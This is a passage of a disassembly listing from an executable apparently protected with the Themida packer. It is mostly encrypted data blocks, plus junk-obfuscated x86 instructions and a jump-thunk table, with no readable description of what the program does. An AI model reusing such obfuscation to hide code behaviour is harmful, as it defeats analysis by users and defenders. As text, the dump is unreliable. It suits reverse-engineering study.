30E5FACBh, 0EEBFB353h dd 764729DAh, 0FCCDA362h, 805117E8h, 0A93DD91Eh, 2430472Fh dd 2DD976C6h, 0D42E8245h, 0C8DC5D96h, 9AD82E37h, 0F50CA0E1h dd 0E879BA73h, 26D9C917h, 79FC7F42h, 2CFA49DDh, 5733C42Ah dd 2A2CF9C3h, 53E78346h, 0D62A2CF9h, 127BB445h, 5B4BA79Fh dd 7743C51Eh, 6305FA3Eh, 0A5A6BE92h, 92F946E2h, 0E3743410h dd 63069E2Ah, 74DA3041h, 85CC6FF2h, 25796FA7h, 2C5992DEh dd 82h, 1192Eh, 1654A13Dh, 48D93410h, 0D6B038Fh, 0D93F3041h dd 0B9479B9Dh, 0F4B7F8B1h, 410DC458h, 7DB64730h, 0A72CA043h dd 54936Fh, 19950000h, 0E7115901h, 7A497C84h, 2D774ADEh dd 0A334C52Ah, 78CC4F12h, 0E728E187h, 2D76770Bh, 2861F22Ah dd 92A019B5h, 54E53410h, 0DE720E91h, 0CC304162h, 0D2EA8F27h dd 16A74A9Bh, 30E97F82h, 0C14DB6EFh, 3041A529h, 92DF97FDh dd 6FA7C7EFh, 7E2h, 0CDCFE400h, 0FF000007h, 3D000119h dd 8446F145h, 84200EDAh, 2A2DB0F0h, 1049DA6Bh, 0EB3C019Dh dd 29213416h, 441AE95Bh, 450C512Bh, 7E95EE26h, 6AFB4E87h dd 32D024A7h, 0E69FCB35h, 1A5B14A5h, 6629DE1h, 8ADE2135h dd 0FC0A5ED1h, 0AE4ABD76h, 30473E1Ah, 3A730495h, 5A1D1E36h dd 307B8ABEh, 0B174053Ah, 0F5C6A25Dh, 0EBA31EE1h, 8FC8B6A7h dd 0E6EAA334h, 6E0ACDCEh, 3410C5C1h, 67521BACh, 3CE6AC54h dd 0A8773C1h, 18F40000h, 8D75895Ah, 8F80CDDh, 847D9162h dd 7FF13E4h, 50859A6Bh, 8E5F13F3h, 16E7897Ah, 9C6D0302h dd 20F17788h, 49DD79BEh, 0C4304732h, 0F9911666h, 0CB2A2C06h dd 53EFB2B3h, 3416387Eh, 0C5996AFBh, 4DE9ACADh, 3A306A80h dd 45995CEDh, 0C9DDAEBAh, 75793236h, 0FD995C5Dh, 341637D1h dd 14682BBCh, 21BD80F2h, 3047298Dh, 0D3467F10h, 1AB6807Fh dd 30472986h, 808FD574h, 0A245C3CBh, 0F5AF43DFh, 992A3047h dd 92A67708h, 0B642FB6Dh, 0B047F61Ch, 12D5D6EEh, 2B018176h dd 0A26BFCBAh, 60B615A9h, 0DE0D5BD6h, 9D000009h, 1E32036Fh dd 0A1B586E4h, 263A0B5Fh, 0A8BC8DDBh, 2E43145Eh, 86A9C89h dd 90E02337h, 165AABBFh, 9ACE3145h, 862267C9h, 304731F2h dd 0AABF0F6Dh, 3A17AC56h, 0A1734DB3h, 1E5F18A9h, 0C8C9E1E5h dd 3C946905h, 8993416h, 5A0EF145h, 0DE8A7589h, 8092125h dd 6EE0A945h, 0D4653A30h, 2342BD11h, 2EFF90E0h, 0C083E51Ah dd 9BD4966Ch, 15162E32h, 38D7CF52h, 78E4DB91h, 0D911D56h dd 70341666h, 3DC81CDFh, 15D16501h, 0BB4C3047h, 2A7EF12Ah dd 0AEC293D5h, 541751h, 0C8316A00h, 4715A43Ch, 5D5E7630h dd 536DFE9Ah, 4CE03A30h, 0BF00B9B7h, 0E8176B2Eh, 2BE4847Dh dd 458859EAh, 279226C2h, 7C0D2A2Dh, 6800FF43h, 0A4A4ADA5h dd 0CE9126Fh, 4E666AD3h, 21EE8A4Dh, 0C341658h, 0A6BEC27Bh dd 675FE2A5h, 667F46ACh, 0DB67A09Dh, 3A2A31AEh, 42814ADBh dd 87E0B6C1h, 8DFBE0Ch, 709C0000h, 0E51D3102h, 60A0B485h dd 0DC25390Ah, 5FA7BB8Ch, 882D4213h, 36076B9Bh, 0BE8FE122h dd 44155BAAh, 0C899CF30h, 0F1852166h, 6C304732h, 26D9BE0Eh dd 2345BC10h, 2CF9B347h, 14A5362Ah, 80E8175Bh, 264C8C7h dd 388CAA55h, 31C5A1C7h, 172A2CFAh, 0BB1E376Bh, 4DDE81E3h dd 3EE1EBBCh, 316993DFh, 7, 48DCF33h, 0AAFF0000h, 47BCA956h dd 0E9609829h, 0D8063C83h, 4AE43D76h, 581B1C34h, 1107FBBCh dd 0E5BD4E34h, 2DC8D197h, 0D0A0980Dh, 143EA1FAh, 871850B1h dd 31324A4Eh, 7FE81A6Eh, 1F58E981h, 2BC710ACh, 78A092Fh dd 380FD76Bh, 88C152FDh, 0E7EBA435h, 880BCECFh, 0E39CCE34h dd 9ADD69A2h, 0EF071E90h, 0B8479B5Eh, 34CBDFB0h, 7C7E6B34h dd 0BC3735A4h, 8006Eh, 0E1917B00h, 6406FC10h, 0E9817F93h dd 6BFD0418h, 0F280869Ah, 7AD70C21h, 115E68Ch, 899D6E02h dd 0F23F47Ch, 45A778F0h, 33D06400h, 0ED4B3047h, 4226D99Dh dd 0DD79FC7Fh, 2A2CFA49h, 0C35733C4h, 462A2CF9h, 0CF137CB5h dd 0D96D0937h, 542A2CF9h, 1E6132C3h, 0F96BFF9Bh, 5DEE2A2Ch dd 7082024h, 3825A844h, 0B9C3416h, 0E5285048h, 8EAD24D9h dd 2E6709FAh, 0D09867BBh, 5414EBFFh, 7E7F979Bh, 0C561FBBh dd 4ADB3A31h, 9DCD3387h, 629DF164h, 14EF4306h, 8EA2235Ch dd 0FA3EF771h, 498340Ch, 872A2DE1h, 759C65F6h, 5EE0B80Dh dd 74F95E3h, 0E02C0000h, 55ADC192h, 0D0304415h, 4CB5C99Ah dd 0CF374B1Ch, 18BDD2A3h, 0C697DB2Bh, 4E1F51B2h, 0D4A5CB3Ah dd 58293FC0h, 8115B1F6h, 0FC304734h, 0B2AA4E9Eh, 0F68BDFBAh dd 0E3E72095h, 8407CACBh, 8E12038Ch, 0B5EE104Eh, 166B6029h dd 0B551E534h, 32C304BDh, 84E41B6Fh, 0E41C70B3h, 0F6094D86h dd 81B7AF72h, 82D754A3h, 0ABAF1851h, 33CF9293h, 3A2A642Eh dd 600FF78Bh, 0D213CCA6h, 0B6478841h, 0B6FED4EDh, 0E836B1E0h dd 6C5h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh dd 3B80E2B3h, 47350B9Fh, 0E0308E30h, 894226D9h, 0F5AEBA45h dd 54D492F6h, 0B46D0300h, 9F63A73h, 0E1848E5Fh, 0D4699318h dd 10h, 0F886E9E1h, 8A1410C5h, 80CFD351h, 0FF000002h, 894226D9h dd 9C696D85h, 39CB7A2Dh, 58E94B93h, 2D8104C7h, 0FF6996D9h dd 7B0FAB6Eh, 0FE2A2D7Dh, 0DFA8346Dh, 423416B8h, 205917EEh dd 0DA6E0ACDh, 643047B0h, 9A2BCE9Ch, 0DB243809h, 0D61D48Dh dd 0FB3F78F8h, 5396670Bh, 0B0A034D0h, 0D82A3047h, 0F598D992h dd 0B0AB2C64h, 5FCC6D66h, 90A2226h, 5C0EF246h, 0AC14B023h dd 0CF3A3131h, 0D8277B3Eh, 54ABBF90h, 0EF175B14h, 0AEC6CA83h dd 794EEAADh, 0F43410E2h, 3F639A63h, 0CD48E6ACh, 5D47Fh dd 0D65A700h, 90DA283Ch, 1555ABBFh, 97D13044h, 1E54B2C6h dd 0A683384Dh, 2D411260h, 0B5C99AD6h, 3B4F2050h, 71D3A4C4h dd 35FC902Ch, 217F3047h, 3F26D9D1h, 611AABC7h, 0CD86E21Dh dd 5B0C6ACEh, 0E9F3C4A4h, 69931846h, 1039h, 24CF3B00h dd 0A000001h, 914A0412h, 0C1FA7740h, 4226D943h, 0B8EAB479h dd 98E661E0h, 569h, 0A778FA12h, 2AFB6F93h, 0AF80EA16h dd 3102669Bh, 0B889E91Dh, 0F5117EA3h, 6B98AC7Dh, 0E5203405h dd 59A6BA8Bh, 97DC3E0Fh, 473667FBh, 3484E230h, 7F4226D9h dd 0F9CC60FCh, 0BE4F2A2Ch, 27D81C85h, 46898841h, 42B40DF2h dd 35B21331h, 26BAF384h, 80E81740h, 0ED186CAFh, 6D104A83h dd 60699385h, 0Dh, 0A1CF62h, 0CFFF0000h, 9Bh, 119FFh, 34D8A13Dh dd 0CC5D3416h, 0F6F70F13h, 4FD69733h, 1AAB3A2Ah, 0B6C2D651h dd 0A2F06BE0h, 4D5h, 3B0C66A6h, 0BE8FDB27h, 431456AAh dd 0C596D22Fh, 4C1D55B1h, 61A58237h, 0D72C4011h, 51B4C899h dd 0C53A4E1Fh, 2B70D2A3h, 4736FB8Fh, 0D0207E30h, 0C3AD56AAh dd 8C90C90Ah, 2DB07374h, 0AAB8DB35h, 9DD6CF5Eh, 11317011h dd 62A1F534h, 0F182D50Eh, 7B0FAB2Eh, 0FE3041A3h, 6DC1346Dh dd 0AA06D793h, 3041A411h, 490C5CA3h, 235C0CF5h, 0F8728EA2h dd 45FF13Fh, 19210000h, 0A13D0001h, 341634D8h, 8609CC5Dh dd 472C56EAh, 4F19E830h, 1EB25596h, 90D18AE8h, 595DC6FFh dd 0FA7D4041h, 70766A02h, 474240D4h, 0F22ABB30h, 1F58B3E4h dd 2B07D293h, 5D26B73Ah, 0E0B61ABCh, 16A0EE69h, 65000004h dd 0E6FACBA7h, 697D4E1Ch, 0EE02D397h, 70845513h, 0F60BDC96h dd 0D0A264C1h, 5818EBFFh, 0DE927387h, 6206F90Dh, 4EEA2F91h dd 304737BAh, 0AA87D735h, 0A0F6EDB2h, 0ABE30D69h, 3373A5A0h dd 0C8CC05EDh, 1355ACB0h, 0C588195Ah, 0F12A642h, 0FC8D2A2Dh dd 96CF9968h, 49C28723h, 36C73416h, 88E01F73h, 0C5CA3B7h dd 36374F53h, 88E01F73h, 0C40DC4Fh, 4F3A305Dh, 58A7FBBEh dd 0D42B3F10h, 0BFD7DB94h, 1C03FBBEh, 0EEB567A8h, 0D773E61Fh dd 3410A62Ah, 4F16EB3Fh, 0BDFEB7B3h, 0FA0F32Ch, 0AC74DF46h dd 351CCE6h, 36Dh, 0A374FE0Eh, 26F7738Fh, 0AB7CEE12h, 2DFE6A97h dd 0B485ED19h, 0F90D7A9Fh, 6F94A879h, 0E91C3001h, 5DA2B687h dd 93D83A0Bh, 473863F7h, 3888E630h, 0BDAB56AAh, 0A9BF4084h dd 6E53ACF0h, 53EF53BBh, 2A2D85BFh, 4571A93Ah, 4B0E9F58h dd 81982CC8h, 82132A2Dh, 0DCF4C849h, 937C18DBh, 0F63410B2h dd 13CC9E62h, 0FC8841D2h, 3041B164h, 6FBF338h, 6377492Bh dd 96D0649Dh, 0A7B328CBh, 0B652D56Fh, 30418D22h, 0A6D30C9Dh dd 34h, 0AD56AAA8h, 6E868AC3h, 0D50EAA6Dh, 9834101Fh, 87DB4E07h dd 9024C07Eh, 0B304113h, 0EF30E97Ah, 13922AB6h, 663041h dd 3658FB66h, 0E34B6FA7h, 4D000000h, 894226D9h, 58AEC145h dd 8F20611Ah, 0FB6D92D6h, 0C001FE42h, 62D76D06h, 6AFE9AB7h dd 0E52A2DE8h, 6132C354h, 2CF4BB05h, 0EA69E2Ah, 3397D7CAh dd 0DB2468A1h, 57A8BC8Dh, 3C545811h, 83DC783Bh, 0E63410BDh dd 9D33C763h, 25B63041h, 3FF87091h, 0E172C5FEh, 23243C10h dd 0AD41DD60h, 3030419Ch, 57F3669Fh, 3A28545Eh, 7AF60FA3h dd 2CEF80C1h, 0A432DD8h, 0AFC34397h, 333CCADEh, 440D9ED2h dd 0E0BAFEE7h, 221765E0h, 59000002h, 0DAEEBFB3h, 5D714228h dd 0E2F6C7A3h, 6478491Fh, 0EAFFD0A2h, 0C4AE5835h, 4C24DFF3h dd 0D29E677Bh, 5612ED01h, 42DE2385h, 304739AEh, 0D983D331h dd 2E82452Dh, 9DDE97D1h, 30CFE364h, 0C67D7538h, 0EEFA8D5Fh dd 2366E720h, 239534CFh, 0F36D72C0h, 3C7D36C7h, 1198503h dd 68A13D00h, 0ED341020h, 0BA45995Ch, 800C75AEh, 304113E8h dd 2EE7897Ah, 9A5315EAh, 283F379Bh, 99DA93DDh, 1D71B608h dd 0BC5089E9h, 3614B7BAh, 3EC16FA7h, 41080EA2h, 6C009130h dd 709DD694h, 104h, 4226D972h, 0B1C14589h, 0D23185F8h dd 0D672E59Eh, 2A2CFA42h, 639B2CBDh, 4EAA02D7h, 18DC6A9h dd 2A2CA2B7h, 0D62F36C9h, 0CA0E19Ah, 13E475F3h, 0E6877CD0h dd 7C0511Fh, 9ED432C6h, 8ADE2165h, 0B4B5CDD1h, 4766EF1h dd 4D1651CAh, 39F27689h, 0A22E67F8h, 34108F49h, 276A3BCCh dd 6B68F42Fh, 0DB1CD595h, 4B97D1A3h, 69224EB7h, 0D3EBEF28h dd 45BB0FD2h, 7F31D67Eh, 0B647B0CDh, 946E0A7Dh, 773A2876h dd 0D7240F7Fh, 2F8BA73Bh, 5991222Ah, 195287E8h, 9AD032C6h dd 14F24609h, 0C74A8D5Eh, 23DC8C73h, 0B57206E2h, 0B5ED2A2Fh dd 3315886Eh, 3F780975h, 9E670BFBh, 0E0BAA65Bh, 0C27FCD48h dd 0B9000000h, 3A4E1F53h, 0BDD1A2C8h, 42562743h, 0C4D8A9BFh dd 4A5F3042h, 244EB895h, 0ACC43F53h, 323EC7DBh, 0B6B24D61h dd 0A23E83E5h, 30473B0Eh, 0D9E33391h, 0A9BF422Dh, 185AACF0h dd 1125F687h, 5BA97AEEh, 7F4226D9h, 0F9CC60FCh, 3BBA2A2Ch dd 0B2C5DAC0h, 27BB4CEFh, 0F25B94DCh, 461751AEh, 96595A72h dd 1640C2FAh, 7B34C534h, 0CFA0C837h, 0ED0F948Ch, 0C5BD4F82h dd 0B1B7488Ch, 1F89F6EEh, 7F4B2BCh, 79BA73FFh, 0BA46AFE8h dd 3EA71FB6h, 6EF97DD1h, 0F206D791h, 5EA25B0Dh, 0E40CC5A3h dd 2669BEFh, 263135C9h, 0AABE8FD9h, 0FC501355h, 0C7306907h dd 0C79h, 26ABA900h, 2288532Eh, 3C7597FFh, 3F33D9BEh, 0ABBD4286h dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh dd 3E2CD418h, 0A9C14185h, 0C68EAF0h, 8900002Eh, 4B68243Ch dd 8900003Eh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esi push ecx mov ecx, 51153908h mov esi, ecx pop ecx mov ebx, 570F0D2Eh xor ebx, esi pop esi push esp mov esi, [esp] add esp, 4 push ebx push ebp mov ebp, 26FD0184h xor [esp+4], ebp pop ebp pop dword ptr [esi+8] xor dword ptr [esi+8], 26FD0184h mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_55D2A6 ; --------------------------------------------------------------------------- dd 64432DFh, 9952C624h, 42C7B8CFh, 0C503061Ah, 9781E0FFh dd 1509394Fh, 10A458B7h, 9732252Ch, 0E46B4FF4h, 1F851453h dd 0E64E41CCh, 4674968h, 46484811h, 4E5F1C96h, 70867B37h dd 88833CBEh, 0E4061192h, 32B94994h, 2BEF34B2h, 0FF596074h dd 0DA95C29h, 0F66207E1h, 6FE917E7h, 8F000001h, 0C55B8835h dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h dd 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 4 dup(0) dd 0D7E90000h, 6800001Bh, 61A4705h, 0FA3902E9h, 47DC68FFh dd 0F8E9061Ah, 68FFFA38h, 61A48DAh, 0FA38EEE9h, 49B468FFh dd 0E4E9061Ah, 68FFFA38h, 61A49F3h, 0FA38DAE9h, 4AAD68FFh dd 0D0E9061Ah, 68FFFA38h, 61A4B19h, 0FA38C6E9h, 4B6B68FFh dd 0BCE9061Ah, 68FFFA38h, 61A52DDh, 0FA38B2E9h, 538468FFh dd 0A8E9061Ah, 68FFFA38h, 61A543Fh, 0FA389EE9h, 550A68FFh dd 94E9061Ah, 68FFFA38h, 61A5575h, 0FA388AE9h, 561368FFh dd 80E9061Ah, 68FFFA38h, 61A56CEh, 0FA3876E9h, 575F68FFh dd 6CE9061Ah, 68FFFA38h, 61A5DF4h, 0FA3862E9h, 5EF268FFh dd 58E9061Ah, 68FFFA38h, 61A5FA8h, 0FA384EE9h, 0C7F8E4FFh dd 823B9875h, 3C7F5330h, 0F1C80DEAh, 0A815C29Fh, 159B1D56h dd 0CCA9FBC2h, 8562B405h, 3D1A6C53h, 0C4D02299h, 2D50363Ch dd 6964580Ch, 0F7C41202h, 23983E4Bh, 0D787F5D1h, 38F6898Fh dd 3C6457E5h, 96B91DF4h, 0B3824888h, 0D6059D20h, 4544266Ch dd 2D4F5806h, 0C40FDC6Dh, 75ECAF9h, 0F7F8D991h, 39h, 874F170Eh dd 0F1E79B81h, 187AF51h, 51F1E81Bh, 0CED8072Fh, 9B68B060h dd 7CD4803Bh, 7E41474Dh, 4C57E503h, 50327824h, 5B580603h dd 0E3821939h, 1BF8D9D6h, 0CDh, 0F7C41232h, 24993E4Bh dd 506B6B78h, 7A553108h, 4E371D23h, 234B51F2h, 8AAA8CCh dd 74626FD9h, 0A1DFF547h, 0D351F265h, 661F050Bh, 0B3351F2h dd 0B605D1DCh, 6C4F8764h, 70565C24h, 8451F266h, 0B7C32D5Ch dd 575DA549h, 57E5801Ch, 0D1E8EDCAh, 9D0BE739h, 0FED2A9F1h dd 4A78AB4Dh, 9B636998h, 9B50ACEh, 123E82B1h, 205DFB54h dd 0E3D8053h, 521A628Ah, 0BF6B5285h, 0AA2D3867h, 0F3E4C113h dd 8637670Bh, 821A6786h, 937A80A4h, 0C5D3BD38h, 1932h dd 0A8FAC517h, 63B508CBh, 1D6F4C86h, 0D2249540h, 89DBE2F5h dd 8F486850h, 0D2FFDC2Eh dword_5AD300 dd 20B895E7h, 66704D9Fh, 6FF70355h, 0C2F8369h, 359C9758h ; DATA XREF: Themida_:005616F8o dd 0A6F8C512h, 5CAE0DC9h, 0F9A513A3h, 2E8ABB1h, 673457E5h dd 9D21506Bh, 0A183C975h, 26580602h, 576410ADh, 5F933F7Ah dd 13DADF7Bh, 5861703Dh, 0D32554ACh, 0D6491CB7h, 0AFB5F8D9h dd 0AD000000h, 0EF9DFE5h, 0E50D5806h, 0C412CFB6h, 993E4BF7h dd 0F4327824h, 2151F1EBh, 0D7B406B5h, 410BCFFh, 0D5A2EA96h dd 0B911BDFCh, 437E848Ah, 6F57E506h, 5A8936A2h, 805CAED6h dd 20266E12h, 5DFADB05h, 36034B73h, 0F2CA1CA1h, 0DB121A1Bh dd 82880CB8h, 5E1CBB9Ch, 0C1F088B0h, 0BE9C21B6h, 38946370h dd 5BE9F7E1h, 0EE000018h, 0A27FD1EEh, 5D3A8C31h, 17F44675h dd 0CCA9FBBEh, 2760B20Bh, 5B81F91h, 0BEFBD6B3h, 76498F6Ch dd 2C8F4724h, 4046CEDAh, 580C2F5Ah, 120C736Eh, 0CEA6F8C5h dd 75037CF7h, 0CCFB3CA5h, 5EA615C1h, 46754491h, 0C4127D36h dd 983E4BF7h, 87F5D123h, 0BB08B522h, 9FF7A316h, 0E4F2BF07h dd 0A4D32BD7h, 48FFD69Eh, 0A81D9907h, 0B9286C9Bh, 4D57E547h dd 0B9655680h, 86AE3261h, 48B294DAh, 9BBD5806h, 8C81E4FFh dd 0E97DF8D9h, 94000000h, 5ECC79D1h, 99E6D5FDh, 9DE57D3Ch dd 0E5014C97h, 7B331A57h, 0C0EDEAC0h, 54F58Dh, 8A7EB04Ch dd 10580876h, 93CB570Ah, 95DD0532h, 9991C8BEh, 0B1273DDCh dd 720A620Eh, 5FCDD943h, 0D29F67AFh, 4488B704h, 38A92E77h dd 856B7149h, 1238CC2Eh, 0C34FABFh, 775F2C74h, 0DF77428Fh dd 0E026B08Dh, 0C51DC9F2h, 0F0E94F2Dh, 927C5DE4h, 175D84h dd 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h, 0B00DCAA7h dd 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh, 0CCD82A91h dd 30583E44h, 716C580Ch, 8D4A170Ah, 0E0F60130h, 0FC693DBh dd 43DBE2F5h, 0A6103F97h, 3C842C9Ah, 0E500C736h, 0D500DD57h dd 6713A62Fh, 97DF770Fh, 8A5DF9C0h, 30789358h, 65A442Ah dd 1305858h, 854C19F1h, 0D9308834h, 0D50E1E53h, 0B79ECDEDh dd 5ECC79D1h, 369D6AB2h, 8A525887h, 0F8A41BBDh, 0E22D71A0h dd 0B057E501h, 0AB93E788h, 2DDCECFDh, 0C1C70FBFh, 0E522190Eh dd 0DCE894BCh, 0B27AC26Eh, 18FEE4EAh, 468BE543h, 3885AD73h dd 1D75219Ah, 99DDAAEEh, 87AFEB37h, 5764723Fh, 2A8F420Fh dd 0E7F7267Eh, 11EFCC0Ah, 0AB568631h, 83505E48h, 0C6000016h dd 7A57A916h, 35126459h, 0EFCC1E9Dh, 0A481D3E6h, 0FF388A33h dd 0DDE0F7B9h, 9623AE8Bh, 4E716744h, 4B71FFCh, 181EA6B2h dd 580C3132h, 12E44B46h, 3319F7C4h, 5A44BF38h, 16446270h dd 0D7050000h, 1AB996E8h, 5E7451A3h, 0A72E0B5Dh, 0F4E3C012h dd 7A3E77C9h, 0CA1CA136h, 83D5E4EDh, 3B8D32A6h, 0F143785Eh dd 71575DE5h, 85580C31h, 0C412238Ah, 0E1E7AFF7h, 51F1E7FBh dd 3B9AE70Fh, 4B7AD27Eh, 0B767D5E1h, 0EEB6696Fh, 3C6457E5h dd 0D665CCEAh, 6A70B868h, 5DF9081Fh, 0E24C5EDh, 95A4046h dd 966E5E1Ah, 1A08AA90h, 0FE96BE5Eh, 0E0578BCFh, 1381D880h dd 6A1D236Bh, 1800B5DCh, 0CA3844F0h, 0BD8DE26h, 0DD06CB5Dh dd 9FA56DB5h, 6EE5CB9h, 0F44EA5CDh, 9567AD03h, 0B7848AB9h dd 8C549C1Fh, 0EE59A086h, 5D8CB406h, 5566704Dh, 0C2C5DF77h dd 0CAD8C28Fh, 158Ah, 50A21DBFh, 0B5D6073h, 0C517A42Eh dd 7ACCEDE8h, 31833A9Dh, 0E7F0C0F8h, 2AA784D6h, 78603D8Fh dd 0BE18F547h, 179FABFDh, 0C322B11h, 0DD443F58h, 0F1E7F3D9h dd 18654751h, 18EF51F1h, 134336E2h, 3E82B107h, 51F1F25Ch dd 0F2D1C6A8h, 27795051h, 423CC272h, 0A138C0CDh, 7D15148Bh dd 2893434Eh, 0BE4C164Ah, 0A7B59F44h, 151Eh, 0BC0EB12Bh dd 77C9F4DFh, 3183389Ah, 0E6388154h, 9DEFCE09h, 7B5C5464h dd 0BE13F042h, 0CCCA9FBh, 528461B3h, 830B1769h, 0C32977Dh dd 49B0AB58h, 9344A513h, 0E78E747Ah, 7AA251F1h, 0FC024AE2h dd 57E5197Dh, 0BDAD8BB3h, 0C3EAB26h, 14CC1422h, 5F7D0000h dd 0A2310E60h, 0E6ECC91Bh, 2FA683D5h, 7C5B388Ah, 2B6EF41h dd 429429AEh, 0FB4D6C65h, 0B305BA1Eh, 69BB00D6h, 0E9CFD55Dh dd 0FD580C32h, 4A179B02h, 2A822E8Bh, 20E6F0FBh, 19BC09B2h dd 0F3C008A0h, 0D52DD9E4h, 0A72F3CA6h, 7B5B6814h, 4C879440h dd 0CE70C571h, 0C1D52D8Ch, 0ED5B0A81h, 24A3FEEDh, 0BA000000h dd 0F1E7F7D9h, 615A7C51h, 7D8B4C19h, 9DCC645Bh, 6C16778Dh dd 0A24E502Ah, 0B605CD9Ah, 14447B87h, 12D20000h, 279442C4h dd 0EDBE38Fh, 0BFC9F8C5h, 9865AD51h, 4C52813Ah, 0E5EE6B46h dd 0DF315957h, 33399503h, 5805EE4Dh, 59A13961h, 0F93C0453h dd 6B2DA5Dh, 2C32D9F9h, 5E1A1D46h, 1CECD2D8h, 0D8005E1Ah dd 0A52EA12h, 1D563C42h, 0F0E35E1Ah, 0B0DF07CDh, 1CA78AA0h dd 0A52E5E1Ah, 0EAE9C618h, 0B91A27D3h, 82E65804h, 4C5A31C0h dd 86A32D53h, 10C3CEFDh, 3E9865ADh, 4A79D17Dh, 8C69FC3Ah dd 5195F2C5h, 0AC000002h, 0B1F9A513h, 0E5E954ABh, 0D8FBC857h dd 94E139E5h, 0C74B7A43h, 0EDE6F39Fh, 32A17ED0h, 0F6C30EDBh dd 5E98A70h, 30161C58h, 445805EAh, 0E12E561Ch, 8632CAF1h dd 9625B17Eh, 85318849h, 0D8BAFE2Dh, 36580519h, 0D7FC3052h dd 0EFBC94E6h, 87FD6E9h, 0E6F4D941h, 0CD3B4574h, 0B11D921h dd 5805EE25h, 0EF9B20B2h, 61A9D197h, 5EE755Bh, 32618958h dd 0F6B262Ch, 0F1195DF9h, 699F3845h, 4BA34F6Eh, 0B28961B3h dd 0A30A4659h, 0C5D0FF5Bh, 8C63AB12h, 0A0F0BD0Fh, 67D1003Ch dd 7845925Fh, 0EB210549h, 9F835E19h, 2F8E49E3h, 0EB9301DDh dd 0ED7A9DA3h, 0E008640Dh, 0E4CAD098h, 0F8642DEDh, 2A37A1D0h dd 0E0BD0FACh, 0D319C5F6h, 642DEDEDh, 1ED36F53h, 0EABA0147h dd 0CF27D3E8h, 9D160578h, 8973636Eh, 32C36226h, 0A8FA9211h dd 0D70008CBh, 95A24EE6h, 61D37F3Eh, 2CA75DFDh, 2EC6F7DCh dd 1C79EDCh, 9837ECB1h, 4E000000h, 4CF8C512h, 6370983Fh dd 0A416C25Ah, 0EDEA0240h, 25407ED0h, 0D9FEEDEEh, 7Bh dd 0F7C412F0h, 23983E4Bh, 0F8C50EDBh, 5BC5F44Ch, 2FC585E9h dd 0F5CC14A7h, 0C3F8B5F9h, 959BE325h, 51F2E3AFh, 5C6C9BC3h dd 0ECF1471Eh, 49B7FEh, 0D8AF0000h, 329D7DC4h, 0B89FCE5Bh dd 0B1F9A513h, 0E5EA88ABh, 42EE1657h, 51686D3Ah, 0DA1E4DA5h dd 5805EAF8h, 90A1E103h, 0EADCC2C8h, 6F695805h, 864CA450h dd 0A2C32F5Eh, 5CF8D9EAh, 0BCh, 0B74F8754h, 5D09A11Ch dd 17EFD605h, 2F8C4Ah, 90D888F6h, 0E50D538Ah, 35E10957h dd 795F652Dh, 8D58060Eh, 2BB1865h, 0B20BC8D3h, 6D508360h dd 0EBECB9C1h, 3B98A3D2h, 0A5633A82h, 43F842Eh, 14C0FDDAh dd 8BF524BCh, 6495B519h, 3CC1E58Dh, 88D5BF55h, 69C16D4Eh dd 19A42F3Ah, 8EDC89C7h, 4F22F8D9h, 39000000h, 0B3FBAB13h dd 0F1E7E7ADh, 0DDE3BBD1h, 0D1F1E7F7h, 9F4BE30Bh, 0F1E97759h dd 7012B4D1h, 28F555BDh, 0A58B11AAh, 32D1F1E8h, 745117A4h dd 2DC55D5Eh, 0E919DFE5h, 0C5ED51F1h, 9627B07Dh, 11795767h dd 0B1000000h, 0E8FDE3E9h, 0E91151F1h, 6711D3BAh, 68000000h dd 2F8C4A17h, 2EDDF500h, 0F1E84228h, 5D795651h, 8E6FC65Eh dd 53365795h, 626A16AEh, 3BBD4395h, 514AC6B5h, 4AA24EE6h dd 0FAC3101Bh, 0B508CBA8h, 0E694FD09h, 7365323Ah, 0F8D91D4Ch dd 7B51F1F6h, 0A7B4605Bh, 8BE38F2Ah, 7177943Eh, 51F1F68Bh dd 33DF779Fh, 0BC3D5DC1h dd 1CB7D3F5h, 0FEEDE249h, 0C1AB5h, 0AA13CC00h, 9D0A50FCh dd 0AEDB5A3Bh, 90D5CE8Ch, 6E7542B8h, 48h, 0D03F9966h, 9D24E4CAh dd 38D0F8DBh, 0E6EC348Ch, 0DB9D2500h, 0D6BDEC14h, 0B4FCAA13h dd 0F1E7C8AEh, 4A8D5A51h, 98C04473h, 0BB17E4ECh, 0F58DD100h dd 5CFB05D5h, 1CE9183Ah, 5804B5h, 250065D1h, 7AFE557Ah dd 15000002h, 0D3FCAA13h, 63494F17h, 7751F1E8h, 0F097204Fh dd 0CEF7C412h, 8ED1A8BEh, 7C8E5BE7h, 0B118FF2Eh, 1EDE5C4h dd 465Ah, 0AA137100h, 0F1E7B4FCh, 0E832181Eh, 1E4651F1h dd 4CDDA86h, 7EE1DB5h, 0E82E1117h, 0EDBA51F1h, 0CD25D1E8h dd 0C9F21A9Eh, 0C0126E17h, 952D9246h, 7D4A106Ch, 93B7A654h dd 8D6B2D8Ch, 0C2F149F5h, 3211DBh, 13680000h, 17D3FCAAh dd 0F1E82E11h, 9B365151h, 175D861Eh, 0E863494Fh, 1FE651F1h dd 1FD4F40Eh, 0B7E60ED4h, 0C01208B1h, 84308D46h, 0C9F4DF2Ch dd 69100831h, 32874A17h, 0BBFF2E86h, 0C1D64846h, 0B322E6F1h dd 3F1C6E06h, 0FDC2497h, 0F048F4C7h, 6A6D38C1h, 1ABD8853h dd 0EDEAF7A3h, 0CF024D0h, 67CB6B4Eh, 0F6C5112Bh, 1F9C3A55h dd 4ADF00D7h, 0BA6B1A28h, 743C028Bh, 19AE886Eh, 